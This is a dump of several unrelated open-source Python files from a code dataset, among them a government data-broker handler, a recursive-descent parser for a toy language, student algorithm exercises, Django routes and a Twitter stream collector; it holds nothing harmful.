funding.'),\n StatusCode.CLIENT_ERROR)\n\n if file_format not in ['csv', 'txt']:\n return JsonResponse.error(ValueError('file_format must be either csv or txt.'),\n StatusCode.CLIENT_ERROR)\n else:\n # Make sure both year and period are provided\n if not (year and period):\n return JsonResponse.error(ValueError(\"Must have a year and period for A file generation.\"),\n StatusCode.CLIENT_ERROR)\n\n try:\n # Convert to real start and end dates\n start_date, end_date = generic_helper.year_period_to_dates(year, period)\n except ResponseException as e:\n return JsonResponse.error(e, StatusCode.CLIENT_ERROR)\n\n # Add job info\n file_type_name = lookups.FILE_TYPE_DICT_LETTER_NAME[file_type]\n new_job = generation_helper.create_generation_job(file_type_name, start_date, end_date)\n\n agency_code = frec_code if frec_code else cgac_code\n logger.info({'message': 'Starting detached {} file generation'.format(file_type), 'message_type': 'BrokerInfo',\n 'job_id': new_job.job_id, 'file_type': file_type, 'agency_code': agency_code, 'start_date': start_date,\n 'end_date': end_date})\n\n try:\n if file_type in ['D1', 'D2']:\n generation_helper.start_d_generation(new_job, start_date, end_date, agency_type, agency_code=agency_code,\n file_format=file_format, element_numbers=element_numbers)\n else:\n generation_helper.start_a_generation(new_job, start_date, end_date, agency_code)\n except Exception as e:\n mark_job_status(new_job.job_id, 'failed')\n new_job.error_message = str(e)\n GlobalDB.db().session.commit()\n return JsonResponse.error(e, StatusCode.INTERNAL_ERROR)\n\n # Return same response as check generation route\n return check_detached_generation(new_job.job_id)\n\n\ndef check_detached_generation(job_id):\n \"\"\" Return information about detached file generation jobs\n\n Args:\n job_id: ID of the detached generation job\n\n Returns:\n Response object with keys job_id, status, file_type, url, message, start, and end.\n \"\"\"\n response_dict = generation_helper.check_file_generation(job_id)\n\n return JsonResponse.create(StatusCode.OK, response_dict)\n","repo_name":"fedspendingtransparency/data-act-broker-backend","sub_path":"dataactbroker/handlers/generation_handler.py","file_name":"generation_handler.py","file_ext":"py","file_size_in_byte":9539,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"37"} +{"seq_id":"10373700741","text":"# 2. Sabendo-se que a UAL calcula a divisão através de subtrações \n# sucessivas, criar m programa que calcule e imprima o resto da divisão de\n# números inteiros lidos. suponha que os números lidos sejam positivos e\n# que o dividendo seja maior que o divisor.\n# Aluno: MATHEUS ALVES RODRIGUES\n\nsair = 1\nwhile sair:\n dividendo = int(input(\"Insira dividendo: \"))\n divisor = dividendo - 1\n if(dividendo < 0):\n print(\"Não é possível resto da divisão de números negativos, insira novamente!\")\n continue\n else:\n while divisor > 0:\n print(f'O resto da divisão de {dividendo} por {divisor} é igual a {dividendo % divisor}')\n divisor -= 1\n\n sair = int(input(\"\\nDigite qualquer número para continuar ou 0 (zero) para sair: \"))","repo_name":"mtrs8/listas-python","sub_path":"avaliacao001/questao002.py","file_name":"questao002.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35870397776","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n # Use the DELETE method for deleting a sub category, Use the PUT method for toggling the star of any category\n path('api/category/categoryName=', views.DeleteAndToggleStarCategoryView.as_view(), name='delete_and_toggle_category'),\n\n # Use the POST method to add a new category. Use the GET method to return the list of all categoryies with each\n # category having their child categories\n path('api/category/', views.AddAndListCategoryView.as_view(), name='add_and_list_category'),\n\n # Use the PUT method to edit category name\n path('api/category//', views.EditCategoryAPIView.as_view(), name='edit_category'),\n]\n","repo_name":"teoPalomino/budget-lens-backend","sub_path":"category/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"491175987","text":"import math\n\nfile_name=input('enter a file name')\n\nin_file=open(file_name)\nlines=[]\n\nfor line in in_file:\n lines.append(line.strip())\n\nin_file.close()\n\nangle = 0 # east\nx = 0\ny = 0\nwaypoint_x = 10\nwaypoint_y = 1\n\nfor line in lines:\n direction = line[0]\n num = int(float(line[1:]))\n if direction == \"N\":\n waypoint_y += num\n elif direction == \"S\":\n waypoint_y -= num\n elif direction == \"E\":\n waypoint_x += num\n elif direction == \"W\":\n waypoint_x -= num\n elif direction == \"R\":\n rotations = num // 90 \n for i in range(rotations):\n temp = -1* waypoint_x\n waypoint_x = waypoint_y \n waypoint_y = temp \n elif direction == \"L\":\n rotations = num // 90 \n for i in range(rotations):\n temp = -1* waypoint_y\n waypoint_y = waypoint_x\n waypoint_x = temp \n elif direction == \"F\":\n x += num * waypoint_x \n y += num * waypoint_y \n\n\nans = abs(x) + abs(y)\n\nprint(\"ANS is:\",ans)\n","repo_name":"srutherford2000/advent-of-code-2020","sub_path":"dec 12/day12_pt2.py","file_name":"day12_pt2.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"1325006211","text":"\"\"\"Syntax parser of the Wibbly language compiler\"\"\"\n\"\"\"Visit our webstite at www.origamisheep.com\"\"\"\n\nimport sys\n# import networkx as nx\n# import matplotlib.pyplot as plt\n\n__author__ = \"James Sugden\"\n__copyright__ = \"Copyright © James Sugden 2018\"\n__version__ = \"0.0.1\"\n\nclass SyntaxInvalidException(Exception):\n pass\n\nclass SyntaxValidException(Exception):\n pass\n\nclass Rule:\n def __init__(self, lhs, rhs):\n self.lhs = lhs\n self.rhs = rhs\n\nclass Node:\n def __init__(self):\n self.children = []\n self.parent = None\n\nclass TerminalNode(Node):\n def __init__(self, token):\n Node.__init__(self)\n self.token = token\n\nclass NonTerminalNode(Node):\n def __init__(self, name):\n Node.__init__(self)\n self.name = name\n\n# WibblyParser is a LL(2) Top-Down Syntax Parser\nclass WibblyParser:\n def __init__(self):\n self.rootNode = None\n self.lookahead = None\n self.lookahead2 = None\n self.symbolTable = None\n self.tokens = None\n self.tokenIndex = 0\n self.terminals = ['IDENTIFIER', 'STRING_LIT', 'NUMBER_LIT', '(', ')', '.', ',', '\"', '\\'', '<=', '>=', '=', '<', '>', 'if', 'else', 'then', 'while', 'for', 'in', 'break', 'continue']\n self.terminals += ['return', 'do', 'end', 'wibbly', 'wobbly', 'true', 'false', 'empty', 'class', 'module', 'get', 'set', 'int', 'big', 'float', 'string', 'bool', 'func', 'me', 'import']\n\n def parse(self, tokens, symbolTable):\n self.tokens = tokens\n\n # remove all comments since they are irrelevant\n for tok in tokens:\n if tok.type == 'LINE_COMMENT':\n self.tokens.remove(tok)\n\n self.tokenIndex = 0\n self.rootNode = NonTerminalNode('root')\n self.currentNode = self.rootNode\n self.symbolTable = symbolTable\n\n # parse the token stream\n print('\\nSyntax Parser')\n if len(tokens) > 0:\n self.lookahead, self.lookahead2 = self.nextTerminal()\n self.globalStatements(self.rootNode)\n self.done()\n\n def nextToken(self):\n self.tokenIndex += 1\n if self.tokenIndex >= len(self.tokens):\n self.done()\n\n def nextTerminal(self):\n if self.tokenIndex < len(self.tokens) - 1:\n return self.tokens[self.tokenIndex], self.tokens[self.tokenIndex+1]\n elif self.tokenIndex < len(self.tokens):\n return self.tokens[self.tokenIndex], None\n self.done()\n\n # match any number of global statements consecutively\n def globalStatements(self, parentNode):\n self.globalStatement(parentNode)\n if self.lookahead.text == 'import' or self.lookahead.text == 'class' or self.lookahead.text == 'module':\n self.globalStatements(parentNode)\n\n # match the non-terminal globalStatement\n def globalStatement(self, parentNode):\n if self.lookahead.text == 'import':\n self.importStatement(parentNode)\n elif self.lookahead.text == 'class':\n self.classDefinition(parentNode)\n elif self.lookahead.text == 'module':\n self.moduleDefinition(parentNode)\n return None\n\n def importStatement(self, parentNode):\n importNode = NonTerminalNode('import_statement')\n self.match('import', importNode)\n self.match('STRING_LIT', importNode)\n parentNode.children.append(importNode)\n\n def classDefinition(self, parentNode):\n classNode = NonTerminalNode('class_definition')\n self.match('class', classNode)\n self.match('IDENTIFIER', classNode)\n self.parameterList(classNode)\n self.block(classNode)\n self.match('class', classNode)\n parentNode.children.append(classNode)\n\n def moduleDefinition(self, parentNode):\n moduleNode = NonTerminalNode('module_definition')\n self.match('module', moduleNode)\n self.match('IDENTIFIER', moduleNode)\n self.block(moduleNode)\n self.match('module', moduleNode)\n parentNode.children.append(moduleNode)\n\n def block(self, parentNode):\n blockNode = NonTerminalNode('block')\n self.match('do', blockNode)\n self.statements(blockNode)\n self.match('end', blockNode)\n parentNode.children.append(blockNode)\n\n def statements(self, parentNode):\n isEmpty = self.statement(parentNode)\n if isEmpty is None:\n self.statements(parentNode)\n\n def statement(self, parentNode):\n if self.lookahead.text == 'func':\n self.functionDecleration(parentNode)\n elif self.lookahead.text == 'for':\n self.forLoop(parentNode)\n elif self.lookahead.text == 'while':\n self.whileLoop(parentNode)\n elif self.lookahead.text == 'var':\n self.complexVariableDecleration(parentNode)\n elif self.lookahead.type == 'IDENTIFIER':\n self.complexIdentifierStatement(parentNode)\n elif self.lookahead.type == 'NUMBER_LIT' or self.lookahead.type == 'STRING_LIT' or self.lookahead.text == 'wibbly':\n self.expression(parentNode)\n else:\n return True\n\n def wibblyFunctionCall(self, parentNode):\n node = NonTerminalNode('wibbly_function_call')\n self.match('wibbly', node)\n self.complexIdentifier(node)\n self.argumentList(node)\n parentNode.children.append(node)\n\n def forLoop(self, parentNode):\n pass\n\n def whileLoop(self, parentNode):\n pass\n\n #def functionCall(self):\n # if self.lookahead.text == 'wibbly':\n # self.match('wibbly')\n # self.complexIdentifier()\n # self.argumentList()\n\n def argumentList(self, parentNode):\n argListNode = NonTerminalNode('argument_list')\n self.match('(', argListNode)\n if self.lookahead.text != ')': # doesn't have to be any arguments in the list\n self.expressions(argListNode)\n self.match(')', argListNode)\n parentNode.children.append(argListNode)\n\n def functionDecleration(self, parentNode):\n funcDeclNode = NonTerminalNode('function_decleration')\n if self.lookahead.text == 'wibbly':\n self.match('wibbly', funcDeclNode)\n self.match('func', funcDeclNode)\n if self.lookahead.type == 'IDENTIFIER': # optional function identifier (anonymous functions possible)\n self.complexIdentifier(funcDeclNode)\n self.parameterList(funcDeclNode)\n self.block(funcDeclNode)\n self.match('func', funcDeclNode)\n parentNode.children.append(funcDeclNode)\n\n # match the non-terminal parameterList\n def parameterList(self, parentNode):\n paramListNode = NonTerminalNode('parameter_list')\n self.match('(', paramListNode)\n self.simpleVariablesDeclerations(paramListNode)\n self.match(')', paramListNode)\n parentNode.children.append(paramListNode)\n\n def simpleVariablesDeclerations(self, parentNode):\n if self.lookahead.type == 'IDENTIFIER': # list could be empty\n self.simpleVariablesDecleration(parentNode)\n if self.lookahead.text == ',':\n self.match(',', parentNode)\n self.simpleVariablesDeclerations(parentNode)\n\n def simpleVariablesDecleration(self, parentNode):\n varDecl = NonTerminalNode('simple_variable_decleration')\n self.match('IDENTIFIER', varDecl)\n if self.lookahead.text == ':': # variable has optional type\n self.typeDecleration(varDecl)\n if self.lookahead.text == '=': # variable has optional assignment\n self.variableAssignment(varDecl)\n parentNode.children.append(varDecl)\n\n def complexVariableDecleration(self, parentNode):\n varDecl = NonTerminalNode('complex_variable_decleration')\n self.match('var', varDecl)\n self.match('IDENTIFIER', varDecl)\n if self.lookahead.text == ':': # variable has optional type\n self.typeDecleration(varDecl)\n if self.lookahead.text == '=': # variable has optional assignment\n self.variableAssignment(varDecl)\n parentNode.children.append(varDecl)\n\n def complexIdentifier(self, parentNode):\n idNode = NonTerminalNode('complex_identifier')\n self.match('IDENTIFIER', idNode)\n if(self.lookahead.text == '.'):\n self.match('.', idNode)\n self.complexIdentifier(idNode)\n parentNode.children.append(idNode)\n\n def typeDecleration(self, parentNode):\n typeDecl = NonTerminalNode('type_decleration')\n self.match(':', typeDecl)\n self.variableType(typeDecl)\n parentNode.children.append(typeDecl)\n\n # returns true iff the next token is an assignment\n def variableAssignment(self, parentNode):\n asgNode = NonTerminalNode('variable_assignment')\n if self.lookahead.text == '=':\n self.match('=', asgNode)\n self.expression(asgNode)\n elif self.lookahead.text == '+=':\n self.match('+=', asgNode)\n self.expression(asgNode)\n elif self.lookahead.text == '-=':\n self.match('-=', asgNode)\n self.expression(asgNode)\n elif self.lookahead.text == '*=':\n self.match('*=', asgNode)\n self.expression(asgNode)\n elif self.lookahead.text == '/=':\n self.match('/=', asgNode)\n self.expression(asgNode)\n elif self.lookahead.text == '%=':\n self.match('%=', asgNode)\n self.expression(asgNode)\n elif self.lookahead.text == '++':\n self.match('++', asgNode)\n elif self.lookahead.text == '--':\n self.match('--', asgNode)\n else:\n return False\n parentNode.children.append(asgNode)\n return True\n\n def variableType(self, parentNode):\n typeNode = NonTerminalNode('variable_type')\n self.variableModifier(typeNode)\n if self.lookahead.type == 'IDENTIFIER': # type could be a class in which case the text will be an identifier\n self.match('IDENTIFIER', typeNode)\n elif self.lookahead.text == 'int':\n self.match('int', typeNode)\n elif self.lookahead.text == 'float':\n self.match('float', typeNode)\n elif self.lookahead.text == 'string':\n self.match('string', typeNode)\n elif self.lookahead.text == 'bool':\n self.match('bool', typeNode)\n elif self.lookahead.text == 'event':\n self.match('event', typeNode)\n parentNode.children.append(typeNode)\n\n def variableModifier(self, parentNode):\n if self.lookahead.text == 'big': # modifier is either big or nothing\n self.match('big', parentNode)\n\n def expressions(self, parentNode):\n self.expression(parentNode)\n if self.lookahead.text == ',': # more than 1 expression\n self.match(',', parentNode)\n self.expressions(parentNode)\n\n def complexIdentifierStatement(self, parentNode): # a statement beginning with a complex identifier\n complNode = NonTerminalNode('complex_identifier_statement')\n self.complexIdentifier(complNode)\n isAssignment = self.variableAssignment(complNode)\n if isAssignment == False:\n self.expression(complNode)\n parentNode.children.append(complNode)\n\n def expression(self, parentNode):\n exprNode = NonTerminalNode('expression')\n if self.lookahead.text == '+': # add\n self.expressionLeaf(exprNode)\n self.match('+', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '-': # subtract\n self.expressionLeaf(exprNode)\n self.match('-', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '*': # multiply\n self.expressionLeaf(exprNode)\n self.match('*', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '/': # divide\n self.expressionLeaf(exprNode)\n self.match('/', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '**':\n self.expressionLeaf(exprNode)\n self.match('**', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '%': # remainder\n self.expressionLeaf(exprNode)\n self.match('%', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '%%': # integer divide\n self.expressionLeaf(exprNode)\n self.match('%', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '==':\n self.expressionLeaf(exprNode)\n self.match('==', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '!=':\n self.expressionLeaf(exprNode)\n self.match('!=', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '<':\n self.expressionLeaf(exprNode)\n self.match('<', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '>':\n self.expressionLeaf(exprNode)\n self.match('>', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '<=':\n self.expressionLeaf(exprNode)\n self.match('<=', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '>=':\n self.expressionLeaf(exprNode)\n self.match('>=', exprNode)\n self.expression(exprNode)\n elif self.lookahead.text == '~==':\n self.expressionLeaf(exprNode)\n self.match('~==', exprNode)\n self.expression(exprNode)\n else:\n self.expressionLeaf(exprNode)\n parentNode.children.append(exprNode)\n\n def expressionLeaf(self, parentNode):\n leafNode = NonTerminalNode('expression_leaf')\n if self.lookahead.text == 'wibbly': # must be a wibbly function call\n self.wibblyFunctionCall(leafNode)\n elif self.lookahead.type == 'STRING_LIT':\n self.match('STRING_LIT', leafNode)\n elif self.lookahead.type == 'NUMBER_LIT':\n self.match('NUMBER_LIT', leafNode)\n elif self.lookahead.text == '(':\n self.argumentList(leafNode)\n if self.lookahead.text == 'as':\n self.variableCast(leafNode)\n parentNode.children.append(leafNode)\n\n def variableCast(self, parentNode):\n castNode = NonTerminalNode('variable_cast')\n self.match('as', castNode)\n self.variableType(castNode)\n parentNode.children.append(castNode)\n\n # match a terminal\n def match(self, terminal, parentNode):\n if self.lookahead.text == terminal or ((self.lookahead.type == 'IDENTIFIER' or self.lookahead.type == 'STRING_LIT' or self.lookahead.type == 'NUMBER_LIT') and terminal == self.lookahead.type):\n print('matched ' + terminal)\n node = TerminalNode(self.tokens[self.tokenIndex])\n parentNode.children.append(node)\n self.nextToken()\n if not self.lookahead2 is None:\n self.lookahead, self.lookahead2 = self.nextTerminal()\n else:\n self.done()\n else:\n #print('lookahead at exit = ' + self.lookahead.text + \", \" + self.lookahead.type)\n #print('lookahead2 at exit = ' + self.lookahead2.text + \", \" + self.lookahead2.type)\n self.done()\n\n def done(self):\n #print('\\nParse Tree')\n #self.printTree(self.rootNode)\n #print()\n #self.makeTree(self.rootNode)\n\n if self.tokenIndex < len(self.tokens):\n raise SyntaxInvalidException()\n else:\n raise SyntaxValidException()\n\n # def makeTree(self, rootNode):\n # G = nx.Graph()\n # self.addNode(G, rootNode, 0)\n # pos = nx.spring_layout(G)\n # #nx.draw_networkx_nodes(G, pos, cmap=plt.get_cmap('jet'), node_color = values, node_size = 500)\n # nx.draw_networkx_labels(G, pos)\n # #nx.draw_networkx_edges(G, pos, edgelist=red_edges, edge_color='r', arrows=True)\n # #nx.draw_networkx_edges(G, pos, edgelist=black_edges, arrows=False)\n # plt.show()\n #\n # def addNode(self, graph, parentNode, nodeIndex):\n # for child in parentNode.children:\n # graph.add_edge(nodeIndex, nodeIndex+1)\n # nodeIndex = self.addNode(graph, child, nodeIndex + 1)\n # return nodeIndex\n #\n # def printTree(self, rootNode):\n # for child in rootNode.children:\n # if isinstance(child, NonTerminalNode):\n # print(child.name, end=' ')\n # else:\n # print(child.token.type, end=' ')\n # print()\n # for child in rootNode.children:\n # self.printTree(child)\n\n# def getRules():\n# # define a set of rules (productions)\n# rules = []\n# # a file is list of global statements\n# rules.append(Rule('file', ['glob_statements']))\n# # a global statements can be one or more global statements\n# rules.append(Rule('glob_statements', ['glob_statements', 'glob_statement']))\n# rules.append(Rule('glob_statements', ['glob_statement']))\n# # a global statement can be an import statement or an encapsulator\n# rules.append(Rule('glob_statement', ['import_statement']))\n# rules.append(Rule('glob_statement', ['encapsulator']))\n# # an encapsulator is can only be a class statement in the current version\n# rules.append(Rule('encapsulator', ['class_statement']))\n# # a class is made of the class keyword, followed by a name followed by a parameter list followed by do, followed by any number of statements followed by end class\n# rules.append(Rule('class_statement', ['KEYWORD=class', 'IDENTIFIER', 'parameter_list', 'KEYWORD=do', 'statements', 'KEYWORD=end', 'KEYWORD=class']))\n# # a parameter list is a list of variable declerations enclosed by parentheses\n# rules.append(Rule('parameter_list', ['DELIM=(', 'variable_declerations', 'DELIM=)']))\n# # a variable declerations is a list of comma separated variable declerations or a single variable decleration\n# rules.append(Rule('variable_declerations', ['variable_declerations', 'DELIM=,', 'variable_decleration']))\n# rules.append(Rule('variable_declerations', ['variable_decleration']))\n# # a variable decleration has an identifier, and optionally has a type\n# rules.append(Rule('variable_decleration', ['IDENTIFIER']))\n# rules.append(Rule('variable_decleration', ['IDENTIFIER', 'DELIM=:', 'variable_type']))\n# # a variable assignment assigns an the value of an expression to a variable\n# rules.append(Rule('variable_assignment', ['variable_decleration', 'BIN_OP==', 'expr']))\n# # a statements can be one statement or many statements\n# rules.append(Rule('statements', ['statements', 'statement']))\n# rules.append(Rule('statements', ['statement']))\n# # a statement can be many things\n# rules.append(Rule('statement', ['variable_decleration']))\n# rules.append(Rule('statement', ['variable_assignment']))\n# rules.append(Rule('statement', ['func_definition']))\n# # a function definition is the following... (a function can be named or anonymous)\n# rules.append(Rule('func_definition', ['KEYWORD=func', 'parameter_list', 'KEYWORD=do', 'statements', 'KEYWORD=end', 'KEYWORD=func']))\n# rules.append(Rule('func_definition', ['KEYWORD=func', 'IDENTIFIER', 'parameter_list', 'KEYWORD=do', 'statements', 'KEYWORD=end', 'KEYWORD=func']))\n# # an expression is any statement which returns a value\n# rules.append(Rule('expr', ['string_expr']))\n# rules.append(Rule('expr', ['number_expr']))\n# rules.append(Rule('expr', ['func_call']))\n# # a function call is a function name followed by and argument list\n# rules.append(Rule('func_call', ['IDENTIFIER', 'arg_list']))\n# # an argument list is a list of expressions enclosed in parentheses\n# rules.append(Rule('arg_list', ['DELIM=(', 'expr_list', 'DELIM=)']))\n# # an expression list is a list of expressions separated by commas or a single expression\n# rules.append(Rule('expr_list', ['expr_list', 'DELIM=,', 'expr']))\n# rules.append(Rule('expr_list', ['expr']))\n# # a string expression can be a string literal or multiple string literals appended together\n# rules.append(Rule('string_expr', ['string_expr', 'BIN_OP=+', 'STRING_LIT']))\n# rules.append(Rule('string_expr', ['STRING_LIT']))\n# # a number expression can be a number literal or an algebraic expression\n# rules.append(Rule('number_expr', ['NUMBER_LIT']))\n# rules.append(Rule('number_expr', ['algebraic_expr']))\n# # an algebraic expression is what you think...\n# return rules\n\n# def interpret(self, tokens):\n# index = 0\n# while index < len(tokens):\n# token = tokens[index]\n# index, valid = parseToken(token, tokens, index)\n# if valid == False:\n# print('error: cannot be compiled')\n#\n# def isTextExpected(token, expecting):\n# if expecting is None:\n# return True, None\n# else:\n# expected = False\n# index = 0\n# for option in expecting:\n# if len(option) > 0 and token.text == option[0]:\n# return True, index\n# index += 1\n# return False, None\n#\n# def isTypeExpected(token, expecting):\n# if expecting is None:\n# return True, None\n# else:\n# expected = False\n# index = 0\n# for option in expecting:\n# if len(option) > 0 and token.type == option[0]:\n# return True, index\n# index += 1\n# return False, None\n#\n# def parseNonTerminal(tokens, index, expecting):\n# if not expecting is None and len(expecting) > 0:\n# for option in expecting:\n# if len(option) > 0:\n# valid = True\n# if option[0] == 'parameter_list':\n# print('parameter list')\n# del option[0]\n# index, valid = parseToken(tokens[index], tokens, index, [['(', 'variable_declerations', ')']])\n# elif option[0] == 'variable_declerations':\n# print('variable declerations')\n# del option[0]\n# index, valid = parseToken(tokens[index], tokens, index, [['variable_decleration'], ['variable_decleration', ',', 'variable_declerations']])\n# elif option[0] == 'variable_decleration':\n# print('variable decleration')\n# del option[0]\n# index, valid = parseToken(tokens[index], tokens, index, [['IDENTIFIER'], ['IDENTIFIER', ':', 'variable_type']])\n#\n# if not valid:\n# continue\n# return index\n#\n# def parseToken(token, tokens, index, expecting = None):\n# index = parseNonTerminal(tokens, index, expecting)\n# if not expecting is None:\n# print(expecting)\n# for option in expecting:\n# if len(option) == 0:\n# return index, True\n# print('expecting ' + str(expecting))\n# textExpected, textExpectedAt = isTextExpected(token, expecting)\n# typeExpected, typeExpectedAt = isTypeExpected(token, expecting)\n# #print(token.type + ' ' + token.text)\n# if token.text == 'import' and expecting is None:\n# index += 1\n# parseToken(tokens[index], tokens, index, [['STRING_LIT']])\n# elif token.text == 'class' and expecting is None:\n# print('class declerartion')\n# index += 1\n# parseToken(tokens[index], tokens, index, [['IDENTIFIER', 'parameter_list', 'do', 'statements', 'end', 'class']])\n# elif token.text == 'do' and textExpected:\n# print('do something')\n# index += 1\n# del expecting[textExpectedAt][0]\n# parseToken(tokens[index], tokens, index, expecting)\n# elif token.type == 'IDENTIFIER' and typeExpected and not expecting is None:\n# print('identifier ' + token.text)\n# index += 1\n# del expecting[typeExpectedAt][0]\n# parseToken(tokens[index], tokens, index, expecting)\n# elif token.type == 'DELIM' and textExpected and not expecting is None:\n# print('delimeter ' + token.text)\n# index += 1\n# del expecting[textExpectedAt][0]\n# parseToken(tokens[index], tokens, index, expecting)\n# else:\n# print('not expected')\n# return index, False\n# return index, True\n\n\n# def scanTokens(tokens, rules):\n# # scan tokens until the left-most terminal is found\n# index = 0\n# while index < len(tokens):\n# token = tokens[index]\n# # compare whether the token equals the rhs of some rule\n# expandToken(tokens, index)\n# break\n# # if len(rule.rhs) == 1 and rule.rhs[0] == getInTerminalForm(token):\n# # print('found matching rule: ' + token.text)\n# # # TODO - return to the beginning to scan for the next left-most terminal\n#\n# # move on to the next token\n# index += 1\n#\n# def expandToken(tokens, index):\n# token = tokens[index]\n# for rule in rules:\n# if rule.lhs == getInTerminalForm(token):\n# print('found: ' + rule.lhs)\n# else:\n# expandToken('')\n#\n# def getInTerminalForm(token):\n# if token.tokenType == 'IDENTIFIER' or token.tokenType == 'STRING_LIT' or token.tokenType == 'NUMBER_LIT':\n# return token.tokenType\n# else:\n# return token.tokenType + '=' + token.text\n","repo_name":"rexapex/Wibbly-Compiler","sub_path":"wibbly compiler py/syntax_parser.py","file_name":"syntax_parser.py","file_ext":"py","file_size_in_byte":25667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20511503744","text":"# 백준 1303 전투\n\ndef bfs(s, *po):\n\tcnt = 1\n\tq = [po]\n\twar[po[0]][po[1]] = 0\n\twhile q:\n\t\tr, c = q.pop(0)\n\t\tfor dr, dc in ((0, 1), (1, 0), (0, -1), (-1, 0)):\n\t\t\tnr, nc = r + dr, c + dc\n\t\t\tif -1 < nr < M and -1 < nc < N and war[nr][nc] == s:\n\t\t\t\twar[nr][nc] = 0\n\t\t\t\tcnt += 1\n\t\t\t\tq.append((nr, nc))\n\treturn cnt ** 2\n\nN, M = map(int, input().split())\nwar = [list(input()) for _ in range(M)]\n\ncnt_w = cnt_b = 0\nfor i in range(M):\n\tfor j in range(N):\n\t\tif war[i][j] == 'B':\n\t\t\tcnt_b += bfs('B', i, j)\n\t\telif war[i][j] == 'W':\n\t\t\tcnt_w += bfs('W', i, j)\n\nprint(cnt_w, cnt_b)","repo_name":"SystemOutGirlsAlgorithm/algorithm","sub_path":"10월/2022-10-20/baekjoon_1303_뚜망.py","file_name":"baekjoon_1303_뚜망.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"37"} +{"seq_id":"25327763230","text":"import pandas as pd \n# from sklearn.tree import DecisionTreeRegressor\nfrom sklearn.tree import DecisionTreeRegressor\n\n\n# melbourn_file\nmf = pd.read_csv('melb_data.csv')\n\n# chọn cột price làm mô hình dự đoán\ncol_price = mf.Price\nprint(col_price.head(5))\nprint (mf.Price.tail(5))\n\n# features sẽ làm \nfeatures = [ 'Rooms','Bathroom' ,'Landsize' , 'Lattitude', 'Longtitude']\nx= mf [ features]\n# print(x.describe())\nprint(x.head(5))\n\nmodel = DecisionTreeRegressor (random_state=1)\nmodel.fit(x,col_price)\nprint( \"Predict : \" ,model.predict(x.tail(5) ))\n\n","repo_name":"17021084/Data-visualization-Kaggle","sub_path":"data_visualization/fist_ML_model.py","file_name":"fist_ML_model.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20000785657","text":"import logging\nimport os\nimport sys\n\n# Logger configuration\nstdout_handler = logging.StreamHandler(sys.stdout)\nhandlers = [stdout_handler]\n\nlog_level = os.getenv(\"LOG_LEVEL\", \"INFO\").upper()\n\nlevel = logging.getLevelName(log_level)\nlogging.basicConfig(\n format=\"[%(asctime)s] %(levelname)s - %(message)s\",\n handlers=handlers,\n)\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(level)\n","repo_name":"meero-com/pre-commit-hooks","sub_path":"pre_commit_hooks/util/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16792032676","text":"import tweepy\nfrom time import sleep, localtime\nimport sqlite3\nimport os.path\n\nconsumer_key = ''\nconsumer_secret = ''\naccess_token = ''\naccess_token_secret = ''\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\napi = tweepy.API(auth)\n\nilceler = ['add','some','keywords','to','search']\n\n\nclass StreamListener(tweepy.StreamListener):\n\n\tdef on_status(self, status):\n\t\tprint('\\n--------------------------------------------')\n\t\tprint(\"Tweets: \", status.text, '\\n')\n\t\tprint('Time: ', status.created_at)\n\t\tprint('Time zone: ', status.user.time_zone)\n\t\tprint(\"Geo : \", status.geo)\n\t\tprint(\"Coordinates : \", status.coordinates)\n\t\tprint(\"Place : \", status.place)\n\t\ttime = localtime()\n\t\tfname = '{}-{}-{}-{}.db'.format(time.tm_year, time.tm_mon, time.tm_mday, time.tm_hour)\n\t\tfpath = 'database\\\\{}'.format(fname)\n\t\tif not os.path.isfile(fpath):\n\t\t\tconn = sqlite3.connect('database\\\\{}'.format(fname))\n\t\t\tx = conn.cursor()\n\t\t\tcreate_table = '''CREATE TABLE tweeter (id INT,user VARCHAR,text VARCHAR,created_at DATETIME, coordinates VARCHAR,geo VARCHAR,retweeted_count INT,favorite_count INT,place VARCHAR) '''\n\t\t\tx.execute(create_table)\n\t\t\tconn.commit()\n\t\t\tconn.close()\n\t\t\n\t\tconn = sqlite3.connect(fpath)\n\t\tx = conn.cursor()\n\t\tx.execute(\"\"\"INSERT INTO tweeter (id,user,text,created_at,coordinates,geo,retweeted_count,favorite_count,place ) VALUES(?,?,?,?,?,?,?,?,?)\"\"\",\n (status.id,str(status.user),str(status.text),str(status.created_at),str(status.coordinates),str(status.geo),str(status.retweet_count), str(status.favorite_count),str(status.place)))\n\t\tconn.commit()\n\t\tconn.close()\n\t\n\tdef on_error(self, status_code):\n\t\tif status_code == 420:\n\t\t\treturn False\n\n\ndef main():\n\tstream_listener = StreamListener()\n\tstream = tweepy.Stream(auth=api.auth, listener=stream_listener)\n\tstream.filter(track=ilceler)\n\n\nwhile 